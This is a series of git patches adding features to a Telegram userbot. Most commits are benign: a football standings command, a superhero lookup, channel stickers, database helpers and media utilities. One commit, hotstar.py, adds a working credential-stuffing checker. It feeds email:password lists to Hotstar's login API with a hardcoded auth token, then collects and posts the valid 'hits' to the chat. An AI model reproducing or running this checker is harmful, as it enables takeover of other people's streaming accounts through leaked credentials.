+ f"\n\nමම ඉක්මනටම ආපහු එන්නම්!"
if reason
- else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` මම ඉක්මනටම ආපහු එන්නම්"
+ else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` \n මම ඉක්මනටම ආපහු එන්නම්"
)
msg = await event.reply(message_to_reply)
await asyncio.sleep(5)
From 172f9fc928bea305abe807f9164a4ad8b8394cc6 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 19:42:36 +0530
Subject: [PATCH 112/838] Update afk.py
---
fridaybot/modules/afk.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fridaybot/modules/afk.py b/fridaybot/modules/afk.py
index 076ca013..2874c4e9 100644
--- a/fridaybot/modules/afk.py
+++ b/fridaybot/modules/afk.py
@@ -79,7 +79,7 @@ async def set_not_afk(event):
if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602
shite = await borg.send_message(
event.chat_id,
- "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය:``"
+ "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය :``"
+ total_afk_time
+ "`",
)
From dd9535d93fb09aa6fcab670fee0fc5f4a67fab82 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:41:53 +0530
Subject: [PATCH 113/838] Create football.py
---
fridaybot/modules/football.py | 156 ++++++++++++++++++++++++++++++++++
1 file changed, 156 insertions(+)
create mode 100644 fridaybot/modules/football.py
diff --git a/fridaybot/modules/football.py b/fridaybot/modules/football.py
new file mode 100644
index 00000000..af5e1f5d
--- /dev/null
+++ b/fridaybot/modules/football.py
@@ -0,0 +1,156 @@
+# Copyright (C) @chsaiujwal 2020
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program. If not, see .
+
+
+import requests
+from fridaybot import CMD_HELP
+from fridaybot.utils import admin_cmd
+from fridaybot.Configs import Config
+
+@friday.on(admin_cmd(pattern="fpl"))
+async def _(event):
+ if event.fwd_from:
+ return
+
+ if Config.FOOTBALL_API_KEY is None:
+ await event.edit("Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!")
+ return
+
+ appo = Config.FOOTBALL_API_KEY
+ url = "https://api-football-beta.p.rapidapi.com/standings"
+ querystring = {"season":"2020","league":"39"}
+ headers = {'x-rapidapi-key': appo,'x-rapidapi-host': "api-football-beta.p.rapidapi.com"}
+ response = requests.request("GET", url, headers=headers, params=querystring)
+ a = response.json()
+ b = a.get("response")
+ c = b[0]
+ d = c.get('league')
+ e = d.get('name')
+ f = d.get("country")
+ logo = d.get("logo")
+ season = d.get("season")
+ g = d.get("standings")
+ h = g[0]
+ i = h[0]
+ rank = i.get("rank")
+ k = i.get("team")
+ nomo = k.get("name")
+
+ pont = i.get("points")
+ kk = i.get("all")
+ pl = kk.get("played")
+ wein = kk.get("win")
+ yqw= kk.get("draw")
+ pol = kk.get("lose")
+ nex = h[1]
+ new = nex.get("rank")
+ np = nex.get("team")
+ nee = np.get("name")
+ popo = nex.get("points")
+ oloq = nex.get("all")
+ pl1 = oloq.get("played")
+ wein1 = oloq.get("win")
+ yqw1 = oloq.get("draw")
+ pol1 = oloq.get("lose")
+
+
+ nex2 = h[2]
+ new2 = nex2.get("rank")
+ np2 = nex2.get("team")
+ nee2 = np2.get("name")
+ popo2 = nex2.get("points")
+ oloq2 = nex2.get("all")
+ pl2 = oloq2.get("played")
+ wein2 = oloq2.get("win")
+ yqw2 = oloq2.get("draw")
+ pol2 = oloq2.get("lose")
+
+ nex3 = h[3]
+ new3 = nex3.get("rank")
+ np3 = nex3.get("team")
+ nee3 = np3.get("name")
+ popo3 = nex3.get("points")
+ oloq3 = nex3.get("all")
+ pl3 = oloq3.get("played")
+ wein3 = oloq3.get("win")
+ yqw3 = oloq3.get("draw")
+ pol3 = oloq3.get("lose")
+
+ nex4 = h[4]
+ new4 = nex4.get("rank")
+ np4 = nex4.get("team")
+ nee4 = np4.get("name")
+ popo4 = nex4.get("points")
+ oloq4 = nex4.get("all")
+ pl4 = oloq4.get("played")
+ wein4 = oloq4.get("win")
+ yqw4 = oloq4.get("draw")
+ pol4 = oloq4.get("lose")
+
+
+ caption = f"""{e}
+Country:- {f}
+season = {season}
+Standings
+Rank:- {rank}
+Name:- {nomo}
+points:- {pont}
+Played:- {pl}
+win:- {wein}
+Draw:- {yqw}
+Lose:- {pol}
+Rank:- {new}
+Name:- {nee}
+points:- {popo}
+Win:- {wein1}
+Draw:- {yqw1}
+Lose:- {pol1}
+Rank:- {new2}
+Name:- {nee2}
+points:- {popo2}
+Win:- {wein2}
+Draw:- {yqw2}
+Lose:- {pol2}
+Rank:- {new3}
+Name:- {nee3}
+points:- {popo3}
+Win:- {wein3}
+Draw:- {yqw3}
+Lose:- {pol3}
+Rank:- {new4}
+Name:- {nee4}
+points:- {popo4}
+Win:- {wein4}
+Draw:- {yqw4}
+Lose:- {pol4}
+"""
+
+ await borg.send_message(
+ event.chat_id,
+ caption,
+ parse_mode="HTML",
+ file=logo,
+ force_document=False,
+ silent=True,
+ )
+ await event.delete()
+
+
+
+CMD_HELP.update(
+ {
+ "football": "**Football**\
+\n\n**Syntax : **`.fpl`\
+\n**Usage :** Shows Premier League's Standings."
+ }
+)
From bc11865ee18c33f1ceada69aa01e362f66798d87 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:43:03 +0530
Subject: [PATCH 114/838] Update Configs.py
---
fridaybot/Configs.py | 2 ++
1 file changed, 2 insertions(+)
diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py
index 43039d17..928dfe66 100644
--- a/fridaybot/Configs.py
+++ b/fridaybot/Configs.py
@@ -144,6 +144,8 @@ class Config(object):
ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE")
ASSISTANT_LOG = int(os.environ.get("ASSISTANT_LOG", False))
OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None)
+ SUPERHERO_API_KEY = os.environ.get("SUPERHERO_API_KEY", None)
+ FOOTBALL_API_KEY = os.environ.get("FOOTBALL_API_KEY", None)
OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None)
UPSTREAM_REPO = os.environ.get(
"UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot"
From dab7393926cec637110b93a8e4ea8d9892440371 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:44:11 +0530
Subject: [PATCH 115/838] Create superhero.py
---
fridaybot/modules/superhero.py | 132 +++++++++++++++++++++++++++++++++
1 file changed, 132 insertions(+)
create mode 100644 fridaybot/modules/superhero.py
diff --git a/fridaybot/modules/superhero.py b/fridaybot/modules/superhero.py
new file mode 100644
index 00000000..b39f0dad
--- /dev/null
+++ b/fridaybot/modules/superhero.py
@@ -0,0 +1,132 @@
+# Copyright (C) @chsaiujwal 2020
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program. If not, see .
+
+import requests
+
+from uniborg.util import friday_on_cmd
+
+import html
+
+from telethon.tl.functions.photos import GetUserPhotosRequest
+from telethon.tl.functions.users import GetFullUserRequest
+from telethon.tl.types import MessageEntityMentionName
+from telethon.utils import get_input_location
+from fridaybot.Configs import Config
+from fridaybot import CMD_HELP, sclient
+from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd
+
+
+@friday.on(admin_cmd(pattern="hero (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ url = "https://superhero-search.p.rapidapi.com/"
+ querystring = {"hero": input_str}
+ if Config.SUPERHERO_API_KEY is None:
+ await event.edit("Need to get an API key from https://rapidapi.com/jakash1997/api/superhero-search\nModule stopping!")
+ return
+ await event.edit("Processing Your Request.")
+ inputo = Config.SUPERHERO_API_KEY
+
+ headers = {
+ 'x-rapidapi-key': inputo,
+ 'x-rapidapi-host': "superhero-search.p.rapidapi.com"
+ }
+
+ response = requests.request("GET", url, headers=headers, params=querystring)
+ a = response.json()
+ b = a.get("name")
+ c = a.get("id")
+ d = a.get("slug")
+ e = a.get("powerstats")
+ intelligence = str(e.get("intelligence"))
+ strength = str(e.get("strength"))
+ speed = str(e.get("speed"))
+ durability = str(e.get("durability"))
+ power = str(e.get("power"))
+ combact = str(e.get("combact"))
+ f = a.get("appearance")
+ lol = str(f.get("gender"))
+ lul = str(f.get("race"))
+ hm = f.get("height")
+ inch = str(hm[0])
+ cm = str(hm[1])
+ # What are you doing in our code?
+
+ weiGht = f.get("weight")
+ lb = str(weiGht[0])
+ kg = str(weiGht[1])
+ eye = str(f.get("eyeColor"))
+ hair = str(f.get("hairColor"))
+ bio = a.get("biography")
+ #Hey Kanger, Don't you dare Kamg this.
+
+ fullName = str(bio.get("fullName"))
+ ego = str(bio.get("alterEgos"))
+ aliase = bio.get("aliases")
+ sedo = ""
+ #Messi Is The Best.
+ for messi in aliase:
+ sedo += messi + " "
+
+
+
+ PoB = str(bio.get("placeOfBirth"))
+ sed = str(sedo)
+
+ firsT = str(bio.get("firstAppearance"))
+
+ alignment = str(bio.get("alignment"))
+
+ imoge = a.get("images")
+ res = list(imoge.keys())[3]
+ linke = str(res)
+ link = str(imoge.get(linke))
+ fcb = input_str.upper()
+
+ caption = f""" {fcb} STATS
+Name:- : {b}
+Id:- : {c}
+Slug:- : {d}
+Power Stats
+Intelligence:- : {intelligence}
+Strength:- : {strength}
+Speed:- : {speed}
+Durability:- : {durability}
+Power:- : {power}
+Combact:- : {combact}
+Appearance
+Gender:- : {lol}
+Race:- : {lul}
+Height:- : {inch} {cm}
+Weight:- : {lb} {kg}
+Eye Colour:- : {eye}
+Hair Colour:- : {hair}
+Biography
+Full Name:- : {fullName}
+Alter Egos:- : {ego}
+Aliases:- : {sed}
+Place Of Birth:- : {PoB}
+First Appearance:- : {firsT}
+alignment:- : {alignment}
+"""
+ await borg.send_message(
+ event.chat_id,
+ caption,
+ parse_mode="HTML",
+ file=link,
+ force_document=False,
+ silent=True,
+ )
+ await event.delete()
From 1f4f0b4cdde553b6cea98aa3d73c0dccfa6b54ce Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:45:31 +0530
Subject: [PATCH 116/838] Create hotstar.py
---
fridaybot/modules/hotstar.py | 61 ++++++++++++++++++++++++++++++++++++
1 file changed, 61 insertions(+)
create mode 100644 fridaybot/modules/hotstar.py
diff --git a/fridaybot/modules/hotstar.py b/fridaybot/modules/hotstar.py
new file mode 100644
index 00000000..32765a5e
--- /dev/null
+++ b/fridaybot/modules/hotstar.py
@@ -0,0 +1,61 @@
+import json
+
+import requests
+
+from fridaybot.utils import friday_on_cmd
+
+url = "https://api.hotstar.com/in/aadhar/v2/web/in/user/login"
+headers = {
+ 'content-type': 'application/json',
+ 'Referer': 'https://www.hotstar.com/',
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
+ 'Accept': '*/*',
+ 'hotstarauth': 'st=1542433344~exp=1542439344~acl=/*~hmac=7dd9deaf6fb16859bd90b1cc84b0d39e0c07b6bb2e174ffecd9cb070a25d9418',
+ 'Accept-Language': 'en-US,en;q=0.5',
+ 'Accept-Encoding': 'gzip, deflate',
+ 'x-user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 FKUA/website/41/website/Desktop'
+ }
+
+@friday.on(friday_on_cmd(pattern="hotstar"))
+async def hotstar(event):
+ stark_dict = []
+ hits_dict = []
+ hits = 0
+ bads = 0
+ lol = await event.get_reply_message()
+ starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY)
+ file = open(starky, "r")
+ lines = file.readlines()
+ for line in lines:
+ stark_dict.append(line)
+ logger.info(stark_dict)
+ for i in stark_dict:
+ starkm = i.split(":")
+ email = starkm[0]
+ password = starkm[1]
+ print(email)
+ print(password)
+ payload = {"isProfileRequired":"false","userData":{"deviceId":"a7d1bc04-f55e-4b16-80e8-d8fbf4c91768","password":password,"username":email,"usertype":"email"}}
+ try:
+ meke = requests.post(url, data=json.dumps(payload), headers=headers)
+ logger.info(f"{meke.text} {int(meke.status_code)}")
+ except Exception as s:
+ await event.edit("**Errors : **" + str(s))
+ return
+ if meke.status_code == 200:
+ hits += 1
+ hits_dict.append(f"{email}:{password}")
+ else:
+ bads += 1
+ logger.info(hits_dict)
+ if len(hits_dict) == 0:
+ await event.edit("No Hits " + meke.text)
+ return
+ with open("hits.txt", "w") as hitfile:
+ for s in hits_dict:
+ hitfile.write(s)
+ await borg.send_file(
+ event.chat_id, "hits.txt", caption=f"**HITS :** `{hits}` \n**BAD :** `{bads}`"
+ )
+ os.remove(starky)
+ os.remove("hits.txt")
From 124bbaa04df19c1bb6c6df2828b4f26376e287d5 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:49:35 +0530
Subject: [PATCH 117/838] Create channel_sticker.py
---
fridaybot/modules/channel_sticker.py | 82 ++++++++++++++++++++++++++++
1 file changed, 82 insertions(+)
create mode 100644 fridaybot/modules/channel_sticker.py
diff --git a/fridaybot/modules/channel_sticker.py b/fridaybot/modules/channel_sticker.py
new file mode 100644
index 00000000..e7bdc145
--- /dev/null
+++ b/fridaybot/modules/channel_sticker.py
@@ -0,0 +1,82 @@
+from telethon import events
+from telethon.utils import pack_bot_file_id
+
+from fridaybot.modules.sql_helper.channel_sticker_sql import (
+ add_new_data_in_db,
+ is_data_indb,
+ remove_datas,
+)
+from fridaybot.utils import admin_cmd
+
+lulstark = [".", ",", "!", "'"]
+
+
+@friday.on(admin_cmd(pattern="scs$"))
+async def _m(event):
+ await event.edit("`Processing..`")
+ id_s = event.chat_id
+ lmao = await event.get_reply_message()
+ if event.is_group:
+ await event.edit("`No, LoL You Can't Set Channel Stickers In Groups, lol`")
+ return
+ if event.is_private:
+ await event.edit(
+ "`No, LoL You Can't Set Channel Stickers In Private Chats, lol`"
+ )
+ return
+ if lmao.sticker.mime_type != "image/webp":
+ await event.edit("`Only Sticker Allowded.`")
+ return
+ if is_data_indb(id_s):
+ await event.edit(
+ "`This Channel Sticker Data Is Already In Db, Remove First To Update it.`"
+ )
+ return
+ if not is_data_indb(id_s):
+ bot_api_file_id = pack_bot_file_id(lmao.media)
+ add_new_data_in_db(id_s, bot_api_file_id)
+ await event.edit(
+ "`This Sticker Has Been Set As Channel Sticker For This Channel`"
+ )
+
+
+@friday.on(admin_cmd(pattern="rcs$"))
+async def _m(event):
+ await event.edit("`Processing..`")
+ id_s = event.chat_id
+ if is_data_indb(id_s):
+ remove_datas(id_s)
+ await event.edit("`Done, I have Removed This Channel From DB`")
+ elif not is_data_indb(id_s):
+ await event.edit("`You Need To Set Channel Sticker To Remove It`")
+
+
+@friday.on(admin_cmd(pattern="ccs$"))
+async def _m(event):
+ await event.edit("`Processing..`")
+ id_s = event.chat_id
+ if is_data_indb(id_s):
+ await event.edit(
+ f"**Yes, Channel Sticker Has Been Set. Sticker ID :** `{is_data_indb(id_s)}`"
+ )
+ elif not is_data_indb(id_s):
+ await event.edit("`No Channel Sticker Set For This Channel.`")
+
+
+@bot.on(events.NewMessage)
+async def lul(event):
+ lsb = event.chat_id
+ id_s = event.chat_id
+ if is_data_indb(event.chat_id):
+ if event.text.startswith(tuple(lulstark)):
+ return
+ try:
+ await borg.send_file(event.chat_id, is_data_indb(event.chat_id))
+ except:
+ await borg.send_message(
+ Config.PRIVATE_GROUP_ID,
+ f"Failed, To Send Sticker in {lsb}, Probably Due To No Access, Or Channel Not Found.",
+ )
+ return
+ elif not is_data_indb(id_s):
+ return
From 959282aba871a22abc8abf7d4b6688ad13699959 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:50:59 +0530
Subject: [PATCH 118/838] Create channel_sticker_sql.py
---
.../modules/sql_helper/channel_sticker_sql.py | 46 +++++++++++++++++++
1 file changed, 46 insertions(+)
create mode 100644 fridaybot/modules/sql_helper/channel_sticker_sql.py
diff --git a/fridaybot/modules/sql_helper/channel_sticker_sql.py b/fridaybot/modules/sql_helper/channel_sticker_sql.py
new file mode 100644
index 00000000..383af5a9
--- /dev/null
+++ b/fridaybot/modules/sql_helper/channel_sticker_sql.py
@@ -0,0 +1,46 @@
+from sqlalchemy import Column, String, UnicodeText
+
+from fridaybot.modules.sql_helper import BASE, SESSION
+
+
+class Cst(BASE):
+ __tablename__ = "cst"
+ chat_id = Column(String(14), primary_key=True)
+ sticker_token = Column(UnicodeText)
+
+ def __init__(self, chat_id, sticker_token):
+ self.chat_id = chat_id
+ self.sticker_token = sticker_token
+
+
+Cst.__table__.create(checkfirst=True)
+
+
+def add_new_data_in_db(chat_id: int, sticker_token):
+ sticker_adder = Cst(str(chat_id), sticker_token)
+ SESSION.add(sticker_adder)
+ SESSION.commit()
+
+
+def get_all_st_data(chat_id: int):
+ try:
+ s__ = SESSION.query(Cst).get(str(chat_id))
+ return int(s__.chat_id), s__.sticker_token
+ finally:
+ SESSION.close()
+
+
+def is_data_indb(chat_id: int):
+ try:
+ s__ = SESSION.query(Cst).get(str(chat_id))
+ if s__:
+ return s__.sticker_token
+ finally:
+ SESSION.close()
+
+
+def remove_datas(chat_id):
+ sed = SESSION.query(Cst).get(str(chat_id))
+ if sed:
+ SESSION.delete(sed)
+ SESSION.commit()
From d01d5e3c8b35fbbd3bf063a6187f29c9d9a9f33f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:52:05 +0530
Subject: [PATCH 119/838] Create feds_sql.py
---
fridaybot/modules/sql_helper/feds_sql.py | 42 ++++++++++++++++++++++++
1 file changed, 42 insertions(+)
create mode 100644 fridaybot/modules/sql_helper/feds_sql.py
diff --git a/fridaybot/modules/sql_helper/feds_sql.py b/fridaybot/modules/sql_helper/feds_sql.py
new file mode 100644
index 00000000..3553d926
--- /dev/null
+++ b/fridaybot/modules/sql_helper/feds_sql.py
@@ -0,0 +1,42 @@
+from sqlalchemy import Column, UnicodeText
+
+from fridaybot.modules.sql_helper import BASE, SESSION
+
+
+class Fed(BASE):
+ __tablename__ = "fed"
+ feds = Column(UnicodeText, primary_key=True)
+
+ def __init__(self, feds):
+ self.feds = feds
+
+
+Fed.__table__.create(checkfirst=True)
+
+
+def add_fed(feds):
+ feddy = Fed(feds)
+ SESSION.add(feddy)
+ SESSION.commit()
+
+
+def rmfed(feds):
+ rmfeddy = SESSION.query(Fed).get(feds)
+ if rmfeddy:
+ SESSION.delete(rmfeddy)
+ SESSION.commit()
+
+
+def get_all_feds():
+ stark = SESSION.query(Fed).all()
+ SESSION.close()
+ return stark
+
+
+def is_fed_indb(feds):
+ try:
+ return SESSION.query(Fed).filter(Fed.feds == feds).one()
+ except:
+ return None
+ finally:
+ SESSION.close()
From 799552da643891dd4fc2c145ea061fd47e4dc32a Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Thu, 24 Dec 2020 23:52:47 +0530
Subject: [PATCH 120/838] Create fedban.py
---
fridaybot/modules/fedban.py | 120 ++++++++++++++++++++++++++++++++++++
1 file changed, 120 insertions(+)
create mode 100644 fridaybot/modules/fedban.py
diff --git a/fridaybot/modules/fedban.py b/fridaybot/modules/fedban.py
new file mode 100644
index 00000000..da6df33a
--- /dev/null
+++ b/fridaybot/modules/fedban.py
@@ -0,0 +1,120 @@
+from fridaybot.function import fetch_feds
+from fridaybot.modules.sql_helper.feds_sql import (
+ add_fed,
+ get_all_feds,
+ is_fed_indb,
+ rmfed,
+)
+from fridaybot.utils import friday_on_cmd
+
+chnnl_grp = Config.FBAN_GROUP
+
+
+@friday.on(friday_on_cmd(pattern="fadd ?(.*)"))
+async def _(event):
+ nolol = 0
+ yeslol = 0
+ await event.edit("`Processing..`")
+ lol_s = event.pattern_match.group(1)
+ if lol_s == None:
+ await event.edit("`Give FeD ID`")
+ return
+ elif lol_s == " ":
+ await event.edit("`Give FeD ID`")
+ return
+ elif lol_s == "all":
+ hmm = await fetch_feds(event, borg)
+ for i in hmm:
+ try:
+ if is_fed_indb(i):
+ nolol += 1
+ elif not is_fed_indb(i):
+ add_fed(i)
+ yeslol += 1
+ except:
+ pass
+ await event.edit(f"`Added {yeslol} Feds To DB, Failed To Add {nolol} Feds.`")
+ elif is_fed_indb(lol_s):
+ await event.edit("`Fed Already Found On DataBase.`")
+ return
+ elif not is_fed_indb(lol_s):
+ add_fed(lol_s)
+ await event.edit("`Done ! Added This Fed To DataBase`")
+
+
+@friday.on(friday_on_cmd(pattern="frm ?(.*)"))
+async def _(event):
+ lol_s = event.pattern_match.group(1)
+ await event.edit("`Processing..`")
+ lol = get_all_feds()
+ if lol_s == None:
+ await event.edit("`Give FeD ID`")
+ return
+ elif lol_s == " ":
+ await event.edit("`Give FeD ID`")
+ return
+ elif lol_s == "all":
+ for sedm in lol:
+ rmfed(sedm.feds)
+ await event.edit("`Done, Cleared. All Fed Database.")
+ elif is_fed_indb(lol_s):
+ rmfed(lol_s)
+ await event.edit("`Done, Removed This FeD From DB`")
+ elif not is_fed_indb(lol_s):
+ await event.edit("`This Fed Not Found On Db.`")
+
+
+@friday.on(friday_on_cmd(pattern="fban ?(.*)"))
+async def _(event):
+ lol_s = event.pattern_match.group(1)
+ if lol_s == None:
+ await event.edit("`No user Found To Fban.`")
+ return
+ all_fed = get_all_feds()
+ errors = 0
+ len_feds = len(all_fed)
+ if len_feds == 0:
+ await event.edit("`No Fed IN DB, Add One To Do So.`")
+ return
+ await event.edit(f"`FBanning in {len_feds} Feds.`")
+ try:
+ await borg.send_message(chnnl_grp, "/start")
+ except Exception as e:
+ await event.edit("**Errors** : " + str(e))
+ return
+ for teamz in all_fed:
+ try:
+ await borg.send_message(chnnl_grp, "/joinfed " + teamz.feds)
+ await borg.send_message(chnnl_grp, "/fban " + lol_s)
+ await asyncio.sleep(5)
+ except:
+ errors += 1
+ await event.edit(
+ f"**Fban Completed** \nTotal Sucess : `{errors - len_feds}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`"
+ )
+
+
+@friday.on(friday_on_cmd(pattern="unfban ?(.*)"))
+async def _(event):
+ lol_s = event.pattern_match.group(1)
+ if lol_s == None:
+ await event.edit("`No user Found To Fban.`")
+ return
+ all_fed = get_all_feds()
+ errors = 0
+ len_feds = len(all_fed)
+ await event.edit(f"`UnFBanning in {len_feds} Feds.`")
+ try:
+ await borg.send_message(chnnl_grp, "/start")
+ except Exception as e:
+ await event.edit("**Errors** : " + str(e))
+ return
+ for teamz in all_fed:
+ try:
+ await borg.send_message(chnnl_grp, "/unfban " + lol_s)
+ await asyncio.sleep(5)
+ except:
+ errors += 1
+ await event.edit(
+ f"**Un-Fban Completed** \nTotal Sucess : `{errors - len_feds}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`"
+ )
From 625be4d429ec1a4ce11d920722db4f2b263dec3c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:00:23 +0530
Subject: [PATCH 121/838] Update __init__.py
---
fridaybot/function/__init__.py | 314 +++++++++++++++++++++++++++++++++
1 file changed, 314 insertions(+)
diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py
index 8b137891..ee9bbdf3 100644
--- a/fridaybot/function/__init__.py
+++ b/fridaybot/function/__init__.py
@@ -1 +1,315 @@
+import asyncio
+import json
+import math
+import os
+import re
+import shlex
+import subprocess
+import time
+from os.path import basename
+from typing import List, Optional, Tuple
+
+import requests
+from bs4 import BeautifulSoup as bs
+from pymediainfo import MediaInfo
+from telethon.tl.types import MessageMediaPhoto
+
+BASE_URL = "https://isubtitles.org"
+from fridaybot.Configs import Config
+
+sedpath = Config.TMP_DOWNLOAD_DIRECTORY
+from fridaybot import logging
+
+logger = logging.getLogger("[--WARNING--]")
+if not os.path.isdir(sedpath):
+ os.makedirs(sedpath)
+
+
+# Thanks To Userge-X
+async def runcmd(cmd: str) -> Tuple[str, str, int, int]:
+ """ run command in terminal """
+ args = shlex.split(cmd)
+ process = await asyncio.create_subprocess_exec(
+ *args, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
+ )
+ stdout, stderr = await process.communicate()
+ return (
+ stdout.decode("utf-8", "replace").strip(),
+ stderr.decode("utf-8", "replace").strip(),
+ process.returncode,
+ process.pid,
+ )
+
+
+async def progress(current, total, event, start, type_of_ps, file_name=None):
+ """Generic progress_callback for uploads and downloads."""
+ now = time.time()
+ diff = now - start
+ if round(diff % 10.00) == 0 or current != total:
+ percentage = current * 100 / total
+ speed = current / diff
+ elapsed_time = round(diff) * 1000
+ time_to_completion = round((total - current) / speed) * 1000
+ estimated_total_time = elapsed_time + time_to_completion
+ progress_str = "[{0}{1}] {2}%\n".format(
+ "".join(["▰" for i in range(math.floor(percentage / 10))]),
+ "".join(["▱" for i in range(10 - math.floor(percentage / 10))]),
+ round(percentage, 2),
+ )
+ tmp = progress_str + "{0} of {1}\nETA: {2}".format(
+ humanbytes(current), humanbytes(total), time_formatter(estimated_total_time)
+ )
+ if file_name:
+ await event.edit(
+ "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp)
+ )
+ else:
+ await event.edit("{}\n{}".format(type_of_ps, tmp))
+
+
+def humanbytes(size):
+ """Input size in bytes,
+ outputs in a human readable format"""
+ # https://stackoverflow.com/a/49361727/4723940
+ if not size:
+ return ""
+ # 2 ** 10 = 1024
+ power = 2 ** 10
+ raised_to_pow = 0
+ dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"}
+ while size > power:
+ size /= power
+ raised_to_pow += 1
+ return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B"
+
+
+def time_formatter(milliseconds: int) -> str:
+ """Inputs time in milliseconds, to get beautified time,
+ as string"""
+ seconds, milliseconds = divmod(int(milliseconds), 1000)
+ minutes, seconds = divmod(seconds, 60)
+ hours, minutes = divmod(minutes, 60)
+ days, hours = divmod(hours, 24)
+ tmp = (
+ ((str(days) + " day(s), ") if days else "")
+ + ((str(hours) + " hour(s), ") if hours else "")
+ + ((str(minutes) + " minute(s), ") if minutes else "")
+ + ((str(seconds) + " second(s), ") if seconds else "")
+ + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "")
+ )
+ return tmp[:-2]
+
+
+# Thanks To Userge-X
+# Ported By @STARKXD
+async def convert_to_image(event, borg):
+ lmao = await event.get_reply_message()
+ if not (
+ lmao.gif
+ or lmao.audio
+ or lmao.voice
+ or lmao.video
+ or lmao.video_note
+ or lmao.photo
+ or lmao.sticker
+ ):
+ await event.edit("`Format Not Supported.`")
+ return
+ else:
+ try:
+ c_time = time.time()
+ downloaded_file_name = await borg.download_media(
+ lmao.media,
+ sedpath,
+ progress_callback=lambda d, t: asyncio.get_event_loop().create_task(
+ progress(d, t, event, c_time, "`Downloading...`")
+ ),
+ )
+ except Exception as e: # pylint:disable=C0103,W0703
+ await event.edit(str(e))
+ else:
+ await event.edit(
+ "Downloaded to `{}` successfully.".format(downloaded_file_name)
+ )
+ if not os.path.exists(downloaded_file_name):
+ await event.edit("Download Unsucessfull :(")
+ return
+ if lmao and lmao.photo:
+ lmao_final = downloaded_file_name
+ elif lmao.sticker and lmao.sticker.mime_type == "application/x-tgsticker":
+ rpath = downloaded_file_name
+ image_name20 = os.path.join(sedpath, "SED.png")
+ cmd = f"lottie_convert.py --frame 0 -if lottie -of png {downloaded_file_name} {image_name20}"
+ stdout, stderr = (await runcmd(cmd))[:2]
+ os.remove(rpath)
+ lmao_final = image_name20
+ elif lmao.sticker and lmao.sticker.mime_type == "image/webp":
+ pathofsticker2 = downloaded_file_name
+ image_new_path = sedpath + "image.png"
+ os.rename(pathofsticker2, image_new_path)
+ if not os.path.exists(image_new_path):
+ await event.edit("`Wasn't Able To Fetch Shot.`")
+ return
+ lmao_final = image_new_path
+ elif lmao.audio:
+ sed_p = downloaded_file_name
+ hmmyes = sedpath + "stark.mp3"
+ imgpath = sedpath + "starky.jpg"
+ os.rename(sed_p, hmmyes)
+ await runcmd(f"ffmpeg -i {hmmyes} -filter:v scale=500:500 -an {imgpath}")
+ os.remove(sed_p)
